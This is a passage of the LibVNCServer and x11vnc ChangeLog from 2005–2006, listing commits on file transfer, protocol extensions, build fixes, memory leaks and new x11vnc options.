2006-02-24 rohit_99129 <rohit_99129> 5744 5745 * ChangeLog, libvncserver/main.c, 5746 libvncserver/tightvnc-filetransfer/rfbtightserver.c, rfb/rfb.h: 5747 Added method to get extension specific client data 5748 5749 2006-02-22 dscho <dscho> 5750 5751 * ChangeLog, libvncserver/auth.c, libvncserver/main.c, 5752 libvncserver/tightvnc-filetransfer/rfbtightserver.c, rfb/rfb.h: add 5753 functions to unregister extensions/security types 5754 5755 2006-02-21 dscho <dscho> 5756 5757 * configure.ac, x11vnc/Makefile.am: IRIX linker is very picky about 5758 order of libraries 5759 5760 2006-02-20 runge <runge> 5761 5762 * ChangeLog, configure.ac, libvncserver/cursor.c, 5763 libvncserver/main.c, 5764 libvncserver/tightvnc-filetransfer/filelistinfo.c, 5765 libvncserver/tightvnc-filetransfer/filetransfermsg.c, 5766 libvncserver/tightvnc-filetransfer/handlefiletransferrequest.c, 5767 prepare_x11vnc_dist.sh, x11vnc/ChangeLog, x11vnc/README, 5768 x11vnc/connections.c, x11vnc/inet.c, x11vnc/user.c, 5769 x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c, x11vnc/xevents.c: fix some non-gcc compiler warnings and signals in x11vnc 5770 5771 2006-02-07 runge <runge> 5772 5773 * x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/x11vnc.1, 5774 x11vnc/x11vnc.h: x11vnc: fix AIX build wrt h_errno. 5775 5776 2006-02-06 runge <runge> 5777 5778 * x11vnc/8to24.c, x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, 5779 x11vnc/win_utils.c, x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: x11vnc: -8to24 more speedups; tunables for very slow machines. 5780 5781 2006-02-05 runge <runge> 5782 5783 * x11vnc/8to24.c, x11vnc/8to24.h, x11vnc/ChangeLog, x11vnc/README, 5784 x11vnc/help.c, x11vnc/options.c, x11vnc/options.h, x11vnc/params.h, 5785 x11vnc/rates.c, x11vnc/scan.c, x11vnc/scan.h, x11vnc/userinput.c, 5786 x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c, 5787 x11vnc/xinerama.c: x11vnc: -8to24 speedups and improvements. 5788 5789 2006-01-22 runge <runge> 5790 5791 * x11vnc/8to24.c, x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, 5792 x11vnc/options.c, x11vnc/options.h, x11vnc/pointer.c, 5793 x11vnc/rates.c, x11vnc/remote.c, x11vnc/screen.c, x11vnc/tkx11vnc, 5794 x11vnc/tkx11vnc.h, x11vnc/win_utils.c, x11vnc/x11vnc.1, 5795 x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc: -8to24 opts, use XGetSubImage. fix -threads deadlocks and 5796 -rawfb crash 5797 5798 2006-01-19 runge <runge> 5799 5800 * x11vnc/8to24.c, x11vnc/8to24.h, x11vnc/ChangeLog, x11vnc/README, 5801 x11vnc/cursor.c, x11vnc/help.c, x11vnc/remote.c, x11vnc/scan.c, 5802 x11vnc/screen.c, x11vnc/userinput.c, x11vnc/x11vnc.1, 5803 x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc: -8to24 now works on default depth 8 displays. 5804 5805 2006-01-16 runge <runge> 5806 5807 * x11vnc/8to24.c, x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, 5808 x11vnc/util.c, x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: x11vnc: more tweaks to -8to24 XGETIMAGE_8TO24 5809 5810 2006-01-15 runge <runge> 5811 5812 * ChangeLog, x11vnc/8to24.c, x11vnc/8to24.h, x11vnc/ChangeLog, 5813 x11vnc/Makefile.am, x11vnc/README, x11vnc/connections.c, 5814 x11vnc/cursor.c, x11vnc/help.c, x11vnc/options.c, x11vnc/options.h, 5815 x11vnc/remote.c, x11vnc/scan.c, x11vnc/screen.c, x11vnc/tkx11vnc, 5816 x11vnc/tkx11vnc.h, x11vnc/userinput.c, x11vnc/util.c, 5817 x11vnc/util.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h, 5818 x11vnc/x11vnc_defs.c: x11vnc: add -8to24 option for some multi-depth displays. 5819 5820 2006-01-12 runge <runge> 5821 5822 * ChangeLog, configure.ac, x11vnc/ChangeLog, x11vnc/README, 5823 x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/x11vnc.h: configure.ac: 5824 add switches for most X extensions. 5825 5826 2006-01-11 runge <runge> 5827 5828 * libvncserver/main.c, prepare_x11vnc_dist.sh, x11vnc/README, 5829 x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: logMutex needs to be 5830 initialized too; in rfbDefaultLog. 5831 5832 2006-01-11 runge <runge> 5833 5834 * x11vnc/ChangeLog, x11vnc/README, x11vnc/cleanup.c, 5835 x11vnc/connections.c, x11vnc/cursor.c, x11vnc/keyboard.c, 5836 x11vnc/pointer.c, x11vnc/scan.c, x11vnc/screen.c, x11vnc/solid.c, 5837 x11vnc/userinput.c, x11vnc/win_utils.c, x11vnc/x11vnc.1, 5838 x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c, x11vnc/xdamage.c, 5839 x11vnc/xrecord.c: x11vnc: close fd > 2 in run_user_command(), -nocmds in crash_debug, 5840 fix 64bit bug for -solid. 5841 5842 2006-01-10 dscho <dscho> 5843 5844 * ChangeLog, libvncserver/main.c, libvncserver/rfbserver.c: 5845 rfbProcessEvents() has to iterate also over clients with sock < 0 to 5846 close them 5847 5848 2006-01-09 runge <runge> 5849 5850 * ChangeLog, examples/pnmshow24.c, x11vnc/ChangeLog, 5851 x11vnc/Makefile.am, x11vnc/README, x11vnc/allowed_input_t.h, 5852 x11vnc/blackout_t.h, x11vnc/cleanup.c, x11vnc/cleanup.h, 5853 x11vnc/connections.c, x11vnc/connections.h, x11vnc/cursor.c, 5854 x11vnc/cursor.h, x11vnc/enums.h, x11vnc/gui.c, x11vnc/gui.h, 5855 x11vnc/help.c, x11vnc/help.h, x11vnc/inet.c, x11vnc/inet.h, 5856 x11vnc/keyboard.c, x11vnc/keyboard.h, x11vnc/options.c, 5857 x11vnc/options.h, x11vnc/params.h, x11vnc/pointer.c, 5858 x11vnc/pointer.h, x11vnc/rates.c, x11vnc/rates.h, x11vnc/remote.c, 5859 x11vnc/remote.h, x11vnc/scan.c, x11vnc/scan.h, x11vnc/screen.c, 5860 x11vnc/screen.h, x11vnc/scrollevent_t.h, x11vnc/selection.c, 5861 x11vnc/selection.h, x11vnc/solid.c, x11vnc/solid.h, 5862 x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/user.c, x11vnc/user.h, 5863 x11vnc/userinput.c, x11vnc/userinput.h, x11vnc/util.c, 5864 x11vnc/util.h, x11vnc/win_utils.c, x11vnc/win_utils.h, 5865 x11vnc/winattr_t.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c, 5866 x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c, x11vnc/xdamage.c, 5867 x11vnc/xdamage.h, x11vnc/xevents.c, x11vnc/xevents.h, 5868 x11vnc/xinerama.c, x11vnc/xinerama.h, x11vnc/xkb_bell.c, 5869 x11vnc/xkb_bell.h, x11vnc/xrandr.c, x11vnc/xrandr.h, 5870 x11vnc/xrecord.c, x11vnc/xrecord.h, x11vnc/xwrappers.c, 5871 x11vnc/xwrappers.h: x11vnc: the big split. 5872 5873 2006-01-08 runge <runge> 5874 5875 * ChangeLog, examples/pnmshow24.c, libvncclient/vncviewer.c, 5876 libvncserver/main.c: fix client non-jpeg/libz builds 5877 5878 2006-01-06 runge <runge> 5879 5880 * ChangeLog, libvncserver/main.c: rfbRegisterProtocolExtension extMutex was never initialized. 5881 5882 2005-12-24 runge <runge> 5883 5884 * ChangeLog, x11vnc/ChangeLog, x11vnc/README, x11vnc/x11vnc.1, 5885 x11vnc/x11vnc.c: x11vnc: enhance -passwdfile features, filetransfer on by default. 5886 5887 2005-12-22 dscho <dscho> 5888 5889 * libvncserver/rfbserver.c: make compile again with pthreads; fix 5890 off-by-one error 5891 5892 2005-12-19 dscho <dscho> 5893 5894 * AUTHORS, ChangeLog, libvncserver/cargs.c, libvncserver/main.c, 5895 libvncserver/rfbserver.c, rfb/rfb.h: introduce -deferptrupdate 5896 (thanks Dave) 5897 5898 2005-12-19 dscho <dscho> 5899 5900 * client_examples/SDLvncviewer.c, libvncclient/sockets.c, 5901 libvncclient/vncviewer.c, libvncserver/main.c, 5902 libvncserver/rfbserver.c, libvncserver/sockets.c: assorted fixes for 5903 MinGW32 5904 5905 2005-12-09 dscho <dscho> 5906 5907 * ChangeLog, configure.ac, libvncclient/sockets.c, 5908 libvncserver/sockets.c: work around write() returning ENOENT on 5909 Solaris 2.7 5910 5911 2005-12-09 dscho <dscho> 5912 5913 * examples/mac.c: previous patch turned compile warning in a compile 5914 error; fix that ;-) 5915 5916 2005-12-08 dscho <dscho> 5917 5918 * examples/mac.c: fix compile warnings 5919 5920 2005-12-07 dscho <dscho> 5921 5922 * libvncclient/vncviewer.c: one more memory leak 5923 5924 2005-12-07 dscho <dscho> 5925 5926 * ChangeLog, libvncclient/vncviewer.c, rfb/rfbclient.h: plug memory 5927 leaks 5928 5929 2005-12-07 dscho <dscho> 5930 5931 * client_examples/SDLvncviewer.c: translate keys based on unicode 5932 (much more reliable than sym) 5933 5934 2005-11-28 runge <runge> 5935 5936 * prepare_x11vnc_dist.sh, x11vnc/ChangeLog, x11vnc/README, 5937 x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc: add -loop option. 5938 5939 2005-11-25 runge <runge> 5940 5941 * ChangeLog, configure.ac, libvncclient/rfbproto.c, 5942 libvncclient/tight.c, libvncclient/vncviewer.c, 5943 libvncserver/Makefile.am, libvncserver/auth.c, libvncserver/main.c, 5944 libvncserver/private.h, libvncserver/rfbserver.c, 5945 libvncserver/tightvnc-filetransfer/filelistinfo.h, 5946 libvncserver/tightvnc-filetransfer/filetransfermsg.c, 5947 libvncserver/tightvnc-filetransfer/handlefiletransferrequest.c, 5948 libvncserver/tightvnc-filetransfer/rfbtightserver.c, 5949 rfb/rfbclient.h, rfb/rfbproto.h, x11vnc/ChangeLog, 5950 x11vnc/misc/x11vnc_pw, x11vnc/x11vnc.c: fix deadlock from rfbReleaseExtensionIterator(), fix no 5951 libz/libjpeg builds, disable tightvnc-filetransfer if no 5952 libpthread, add --without-pthread option, rm // comments, set 5953 NAME_MAX if not defined, x11vnc: throttle load if fb update 5954 requests not taking place. 5955 5956 2005-10-23 runge <runge> 5957 5958 * configure.ac, x11vnc/README: configure.ac: test ... == ... not allowed on all unix. 5959 5960 2005-10-23 runge <runge> 5961 5962 * ChangeLog, x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc, 5963 x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc: -filexfer, -slow_fb, -blackout noptr,... 5964 5965 2005-10-07 dscho <dscho> 5966 5967 * TODO: update TODO 5968 5969 2005-10-07 dscho <dscho> 5970 5971 * examples/backchannel.c, libvncserver/rfbserver.c, rfb/rfb.h: The 5972 PseudoEncoding extension code was getting silly: If the client asked for an encoding, and no enabled extension 5973 handled it, LibVNCServer would walk through all extensions, and if 5974 they promised to handle the encoding, execute the extension's 5975 newClient() if it was not NULL. However, if newClient is not NULL, it will be called when a client 5976 connects, and if it returns TRUE, the extension will be enabled. 5977 Since all the state of the extension should be in the client data, 5978 there is no good reason why newClient should return FALSE the first 5979 time (thus not enabling the extension), but TRUE when called just 5980 before calling enablePseudoEncoding(). So in effect, the extension got enabled all the time, even if that 5981 was not necessary. The resolution is to pass a void** to enablePseudoEncoding. This has 5982 the further advantage that enablePseudoEncoding can remalloc() or 5983 free() the data without problems. Though keep in mind that if 5984 enablePseudoEncoding() is called on a not-yet-enabled extension, the 5985 passed data points to NULL. 5986 5987 2005-10-06 dscho <dscho> 5988 5989 * ChangeLog: update ChangeLog for today 5990 5991 2005-10-06 dscho <dscho> 5992 5993 * client_examples/Makefile.am, client_examples/SDLvncviewer.c, 5994 client_examples/backchannel.c, libvncclient/rfbproto.c, 5995 rfb/rfbclient.h: add an extension mechanism for LibVNCClient, modify 5996 the client data handling so that more than one data structure can be 5997 attached, and add an example to speak the client part of the back 5998 channel. 5999 6000 2005-10-06 dscho <dscho> 6001 6002 * examples/Makefile.am, examples/backchannel.c: add BackChannel 6003 extension example 6004 6005 2005-10-06 dscho <dscho> 6006 6007 * libvncclient/zrle.c: fix warning 6008 6009 2005-10-06 dscho <dscho> 6010 6011 * configure.ac, examples/mac.c, libvncserver/main.c, 6012 libvncserver/rfbserver.c, libvncserver/stats.c, 6013 libvncserver/tightvnc-filetransfer/filetransfermsg.c, rfb/rfb.h, 6014 rfb/rfbproto.h: kill BackChannel and CustomClientMessage: the new 6015 extension technique makes these hooks obsolete 6016 6017 2005-10-06 dscho <dscho> 6018 6019 * libvncserver/rfbserver.c, 6020 libvncserver/tightvnc-filetransfer/rfbtightserver.c, rfb/rfb.h: 6021 provide a list of the pseudo encodings understood by the extension 6022 6023 2005-10-06 dscho <dscho> 6024 6025 * contrib/Makefile.am, x11vnc/Makefile.am: DEFINES -> AM_CFLAGS 6026 6027 2005-10-06 dscho <dscho> 6028 6029 * client_examples/Makefile.am, examples/Makefile.am, 6030 libvncclient/Makefile.am, 6031 libvncserver/tightvnc-filetransfer/Makefile.am, test/Makefile.am: do 6032 it right: it is not DEFINES, but AM_CFLAGS 6033 6034 2005-10-03 dscho <dscho> 6035 6036 * ChangeLog, libvncserver/rfbserver.c, 6037 libvncserver/tightvnc-filetransfer/rfbtightserver.c, rfb/rfb.h: add 6038 enablePseudoEncoding() to rfbProtocolExtension 6039 6040 2005-09-29 dscho <dscho> 6041 6042 * TODO, index.html: more TODOs, and an update to the website 6043 6044 2005-09-28 dscho <dscho> 6045 6046 * AUTHORS, ChangeLog, configure.ac, examples/.cvsignore, 6047 examples/Makefile.am, examples/filetransfer.c, 6048 libvncclient/.cvsignore, libvncserver/.cvsignore, 6049 libvncserver/Makefile.am, libvncserver/auth.c, 6050 libvncserver/cargs.c, libvncserver/main.c, 6051 libvncserver/rfbserver.c, libvncserver/sockets.c, 6052 libvncserver/tightvnc-filetransfer/.cvsignore, 6053 libvncserver/tightvnc-filetransfer/Makefile.am, 6054 libvncserver/tightvnc-filetransfer/filelistinfo.c, 6055 libvncserver/tightvnc-filetransfer/filelistinfo.h, 6056 libvncserver/tightvnc-filetransfer/filetransfermsg.c, 6057 libvncserver/tightvnc-filetransfer/filetransfermsg.h, 6058 libvncserver/tightvnc-filetransfer/handlefiletransferrequest.c, 6059 libvncserver/tightvnc-filetransfer/handlefiletransferrequest.h, 6060 libvncserver/tightvnc-filetransfer/rfbtightproto.h, 6061 libvncserver/tightvnc-filetransfer/rfbtightserver.c, rfb/rfb.h: This 6062 monster commit contains support for TightVNC's file transfer 6063 protocol. Thank you very much, Rohit! 6064 6065 2005-09-27 dscho <dscho> 6066 6067 * ChangeLog, libvncserver/cargs.c, libvncserver/main.c, 6068 libvncserver/rfbserver.c, libvncserver/sockets.c, rfb/rfb.h: 6069 Introduce generic protocol extension method. Deprecate the 6070 processCustomClientMessage() method. 6071 6072 2005-09-27 dscho <dscho> 6073 6074 * libvncserver/auth.c, libvncserver/main.c, rfb/rfb.h: Security is 6075 global. This was a misguided attempt to evade a global list. I 6076 eventually saw the light and went with Rohits original approach. 6077 6078 2005-09-27 dscho <dscho> 6079 6080 * client_examples/Makefile.am, client_examples/vnc2mpg.c: support 6081 new ffmpeg version 6082 6083 2005-09-26 dscho <dscho> 6084 6085 * ChangeLog, libvncserver/auth.c, libvncserver/main.c, 6086 libvncserver/rfbserver.c, rfb/rfb.h, rfb/rfbproto.h: support VNC 6087 protocol version 3.7 6088 6089 2005-08-22 dscho <dscho> 6090 6091 * prepare_x11vnc_dist.sh: for x11vnc standalone package, adaptions 6092 were needed after changing LibVNCServer.spec.in 6093 6094 2005-08-21 dscho <dscho> 6095 6096 * AUTHORS, ChangeLog, LibVNCServer.spec.in: split rpm into three 6097 packages: the library, -devel (headers), and x11vnc 6098 6099 2005-07-18 runge <runge> 6100 6101 * x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc, 6102 x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc: more gui fixes, gui requests via client_sock, 6103 PASSWD_REQUIRED build opt. 6104 6105 2005-07-13 runge <runge> 6106 6107 * prepare_x11vnc_dist.sh, x11vnc/ChangeLog, x11vnc/README, 6108 x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc: setup for new release 0.7.3 while I remember how.. 6109 6110 2005-07-13 runge <runge> 6111 6112 * ChangeLog, x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc, 6113 x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc: tweaks for release, fix queue buildup under -viewonly. 6114 6115 2005-07-11 runge <runge> 6116 6117 * x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc, 6118 x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc: more improvements to gui, scary nopassword warning msg. 6119 6120 2005-07-09 runge <runge> 6121 6122 * ChangeLog, x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc, 6123 x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc: -grab_buster for XGrabServer deadlock; fix scrolls and 6124 copyrect for -clip and -id 6125 6126 2005-07-07 runge <runge> 6127 6128 * ChangeLog, x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc, 6129 x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc: -gui tray now embeds in systray; more improvements to gui. 6130 6131 2005-07-02 runge <runge> 6132 6133 * ChangeLog, libvncserver/httpd.c, x11vnc/ChangeLog, x11vnc/README, 6134 x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, 6135 x11vnc/x11vnc.c: x11vnc: -gui tray mode, httpd.c: check httpListenSock >= 0. 6136 6137 2005-06-28 dscho <dscho> 6138 6139 * ChangeLog, TODO, libvncclient/zrle.c: fix annoying zrle decoding 6140 bug 6141 6142 2005-06-27 runge <runge> 6143 6144 * ChangeLog, libvncserver/main.c: main.c: fix screen->deferUpdateTime default. 6145 6146 2005-06-27 runge <runge> 6147 6148 * x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc, 6149 x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc: track keycode state for heuristics, -sloppy_keys, -wmdt, 6150 add -nodbg as option 6151 6152 2005-06-21 dscho <dscho> 6153 6154 * TODO: ZRLE has problems with RealVNC server. Look into it. 6155 6156 2005-06-21 runge <runge> 6157 6158 * x11vnc/ChangeLog, x11vnc/README, x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc: long info and tips when XOpenDisplay fails, reinstate "bad 6159 desktop" for wireframe 6160 6161 2005-06-18 runge <runge> 6162 6163 * ChangeLog, configure.ac, x11vnc/ChangeLog, x11vnc/README, 6164 x11vnc/x11vnc.1, x11vnc/x11vnc.c: configure.ac: HP-UX and OSF1 no -R, x11vnc: second round of 6165 beta-testing fixes. 6166 6167 2005-06-14 runge <runge> 6168 6169 * ChangeLog, configure.ac, libvncserver/cursor.c, x11vnc/ChangeLog, 6170 x11vnc/README, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, 6171 x11vnc/x11vnc.c: main.c: XReadScreen check, fix 64bit use of cursors, x11vnc: first 6172 round of beta-testing fixes, RFE's. 6173 6174 2005-06-11 dscho <dscho> 6175 6176 * ChangeLog, configure.ac: no longer complain on Solaris about 6177 missing ar, which was not really missing 6178 6179 2005-06-06 dscho <dscho> 6180 6181 * rfb/rfbproto.h: add definitions from other VNC implementations 6182 6183 2005-06-06 dscho <dscho> 6184 6185 * TODO: more TODOs 6186 6187 2005-06-06 dscho <dscho> 6188 6189 * client_examples/Makefile.am, configure.ac: link to libmp3lame only 6190 if exists 6191 6192 2005-06-04 runge <runge> 6193 6194 * ChangeLog, libvncserver/main.c, x11vnc/ChangeLog, x11vnc/README, 6195 x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, 6196 x11vnc/x11vnc.c: main.c: no sraRgnSubstract for copyRect, scrolls for x11vnc -scale; 6197 add -fixscreen 6198 6199 2005-05-31 runge <runge> 6200 6201 * ChangeLog, libvncserver/main.c, x11vnc/ChangeLog, x11vnc/README, 6202 x11vnc/x11vnc.1, x11vnc/x11vnc.c: main.c: fix copyRect for non-cursor-shape-aware clients. 6203 6204 2005-05-25 dscho <dscho> 6205 6206 * index.html: news 6207 6208 2005-05-25 runge <runge> 6209 6210 * ChangeLog, prepare_x11vnc_dist.sh, x11vnc/ChangeLog, 6211 x11vnc/README, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, 6212 x11vnc/x11vnc.c: x11vnc: scrolling: grabserver, autorepeat throttling, mouse wheel, 6213 fix onetile 6214 6215 2005-05-24 dscho <dscho> 6216 6217 * examples/.cvsignore: mac works! 6218 6219 2005-05-24 dscho <dscho> 6220 6221 * Makefile.am, configure.ac: make libvncserver-conf executable the 6222 autoconf way 6223 6224 2005-05-24 dscho <dscho> 6225 6226 * Makefile.am: "make t" now executes the tests 6227 6228 2005-05-24 dscho <dscho> 6229 6230 * libvncclient/Makefile.am: do distribute and depend on zrle.c 6231 6232 2005-05-24 dscho <dscho> 6233 6234 * TODO, libvncclient/rfbproto.c, libvncclient/tight.c, 6235 libvncclient/vncviewer.c, libvncclient/zlib.c, libvncclient/zrle.c, 6236 test/encodingstest.c: implement ZRLE decoding 6237 6238 2005-05-24 dscho <dscho> 6239 6240 * client_examples/SDLvncviewer.c: try 32 bit first 6241 6242 2005-05-24 dscho <dscho> 6243 6244 * examples/example.c, libvncserver/font.c: fix off by one bug 6245 6246 2005-05-23 dscho <dscho> 6247 6248 * libvncclient/tight.c, libvncclient/vncviewer.c: init a structure 6249 *before* using it... 6250 6251 2005-05-23 dscho <dscho> 6252 6253 * libvncclient/tight.c: remove wrong comment 6254 6255 2005-05-23 dscho <dscho> 6256 6257 * libvncclient/rfbproto.c, libvncclient/tight.c, 6258 libvncclient/vncviewer.c, libvncclient/zlib.c, rfb/rfbclient.h: make 6259 zlib and tight handling thread safe (static -> rfbClient) 6260 6261 2005-05-23 dscho <dscho> 6262 6263 * client_examples/vnc2mpg.c: work around bug in ffmpeg 6264 6265 2005-05-23 dscho <dscho> 6266 6267 * ChangeLog, configure.ac: simplify configure (do not check for 6268 malloc(0) bug) 6269 6270 2005-05-23 dscho <dscho> 6271 6272 * client_examples/vnc2mpg.c: fix compilation for 6273 LIBAVCODEC_BUILD==4754 6274 6275 2005-05-20 dscho <dscho> 6276 6277 * acinclude.m4: finally fix socklen_t problem 6278 6279 2005-05-18 dscho <dscho> 6280 6281 * acinclude.m4: fix socklen_t also for defines 6282 6283 2005-05-18 dscho <dscho> 6284 6285 * ChangeLog, acinclude.m4, rfb/rfb.h: fix compilation for systems 6286 without socklen_t 6287 6288 2005-05-18 dscho <dscho> 6289 6290 * libvncserver/main.c: fix off by one bug 6291 6292 2005-05-18 dscho <dscho> 6293 6294 * examples/vncev.c, libvncclient/listen.c, libvncclient/rfbproto.c, 6295 libvncclient/sockets.c, libvncclient/vncviewer.c, 6296 libvncserver/main.c, libvncserver/rfbserver.c, 6297 libvncserver/vncauth.c, rfb/rfb.h, test/copyrecttest.c, 6298 test/encodingstest.c, vncterm/VNCommand.c: hide strict ansi stuff if 6299 not explicitely turned on; actually use the socklen_t test from 6300 configure.ac 6301 6302 2005-05-18 runge <runge> 6303 6304 * ChangeLog, x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc, 6305 x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc: more scrolling, -scr_term, -wait_ui, -nowait_bog 6306 6307 2005-05-17 dscho <dscho> 6308 6309 * libvncserver/Makefile.am: also distribute private.h... 6310 6311 2005-05-17 dscho <dscho> 6312 6313 * TODO: update TODOs 6314 6315 2005-05-16 dscho <dscho> 6316 6317 * libvncserver/rfbserver.c: fix SIGSEGV when client has incompatible 6318 protocol; release mutex before freeing it 6319 6320 2005-05-15 dscho <dscho> 6321 6322 * ChangeLog, VisualNaCro/configure.ac, VisualNaCro/default8x16.h, 6323 VisualNaCro/nacro.c, client_examples/SDLvncviewer.c, 6324 client_examples/ppmtest.c, contrib/zippy.c, examples/example.c, 6325 examples/fontsel.c, examples/pnmshow.c, examples/pnmshow24.c, 6326 examples/radon.h, examples/storepasswd.c, examples/vncev.c, 6327 libvncclient/listen.c, libvncclient/rfbproto.c, 6328 libvncclient/sockets.c, libvncclient/vncviewer.c, 6329 libvncserver/auth.c, libvncserver/cargs.c, libvncserver/corre.c, 6330 libvncserver/cursor.c, libvncserver/d3des.c, libvncserver/font.c, 6331 libvncserver/hextile.c, libvncserver/httpd.c, libvncserver/main.c, 6332 libvncserver/private.h, libvncserver/rfbregion.c, 6333 libvncserver/rfbserver.c, libvncserver/rre.c, 6334 libvncserver/selbox.c, libvncserver/sockets.c, 6335 libvncserver/tight.c, libvncserver/translate.c, 6336 libvncserver/vncauth.c, libvncserver/zlib.c, libvncserver/zrle.c, 6337 libvncserver/zrleencodetemplate.c, libvncserver/zrleoutstream.c, 6338 rfb/default8x16.h, rfb/rfb.h, rfb/rfbproto.h, test/copyrecttest.c, 6339 test/cursortest.c, test/encodingstest.c, vncterm/VNCommand.c, 6340 vncterm/VNConsole.c: ANSIfy, fix some warnings from Linus' sparse 6341 6342 2005-05-15 runge <runge> 6343 6344 * libvncserver/main.c, libvncserver/rfbserver.c: libvncserver/{main.c,rfbserver.c}: fix a couple more CopyRect 6345 memory leaks 6346 6347 2005-05-14 dscho <dscho> 6348 6349 * .cvsignore, examples/.cvsignore, test/.cvsignore, 6350 x11vnc/misc/.cvsignore: more files to ignore 6351 6352 2005-05-14 dscho <dscho> 6353 6354 * ChangeLog, examples/example.c, libvncserver/main.c, 6355 libvncserver/rfbserver.c: fix memory leaks detected using valgrind 6356 6357 2005-05-14 runge <runge> 6358 6359 * ChangeLog, x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc, 6360 x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc: more improvements to -scrollcopyrect and -xkb modes. 6361 6362 2005-05-07 dscho <dscho> 6363 6364 * ChangeLog, VisualNaCro/nacro.c, VisualNaCro/nacro.h, 6365 examples/example.c, examples/fontsel.c, libvncserver/httpd.c, 6366 libvncserver/main.c, libvncserver/rfbserver.c, 6367 libvncserver/sockets.c, rfb/rfb.h, test/cursortest.c, 6368 vncterm/LinuxVNC.c, vncterm/VNConsole.c, x11vnc/x11vnc.c: 6369 socketInitDone -> socketState 6370 6371 2005-05-03 runge <runge> 6372 6373 * ChangeLog, configure.ac, libvncserver/main.c: libvncserver/main.c: fix memory leak in 6374 rfbDoCopyRect/rfbScheduleCopyRect; configure.ac tweaks. 6375 6376 2005-05-03 runge <runge> 6377 6378 * ChangeLog, configure.ac, x11vnc/ChangeLog, x11vnc/README, 6379 x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, 6380 x11vnc/x11vnc.c: x11vnc: -scrollcopyrect/RECORD, etc. configure.ac: customizations 6381 for x11vnc pkg 6382 6383 2005-04-27 dscho <dscho> 6384 6385 * ChangeLog, libvncserver/rfbserver.c: clear requested region after 6386 handling it 6387 6388 2005-04-19 runge <runge> 6389 6390 * ChangeLog, x11vnc/ChangeLog, x11vnc/README, x11vnc/misc/README, 6391 x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, 6392 x11vnc/x11vnc.c: x11vnc: -wireframe, -wirecopyrect, -privremote, -safer, -nocmd, 6393 -unsafe, -noviewonly 6394 6395 2005-04-12 runge <runge> 6396 6397 * x11vnc/ChangeLog, x11vnc/misc/Makefile.am, x11vnc/misc/ranfb.pl: x11vnc: add rawfb setup example misc/ranfb.pl 6398 6399 2005-04-11 runge <runge> 6400 6401 * x11vnc/ChangeLog, x11vnc/README, x11vnc/misc/slide.pl, 6402 x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, 6403 x11vnc/x11vnc.c: x11vnc: fix some -rawfb bugs, add setup:cmd 6404 6405 2005-04-10 runge <runge> 6406 6407 * ChangeLog, configure.ac, prepare_x11vnc_dist.sh, 6408 x11vnc/ChangeLog, x11vnc/Makefile.am, x11vnc/README, 6409 x11vnc/misc/Makefile.am, x11vnc/misc/README, 6410 x11vnc/misc/blockdpy.c, x11vnc/misc/dtVncPopup, 6411 x11vnc/misc/rx11vnc, x11vnc/misc/rx11vnc.pl, x11vnc/misc/shm_clear, 6412 x11vnc/misc/slide.pl, x11vnc/misc/vcinject.pl, 6413 x11vnc/misc/x11vnc_loop, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, 6414 x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc: -rawfb, -pipeinput, -xtrap, -flag, ... 6415 6416 2005-04-04 runge <runge> 6417 6418 * ChangeLog, configure.ac, x11vnc/ChangeLog, x11vnc/README, 6419 x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, 6420 x11vnc/x11vnc.c: x11vnc: use DEC-XTRAP on legacy X11R5, -shiftcmap, -http 6421 6422 2005-03-29 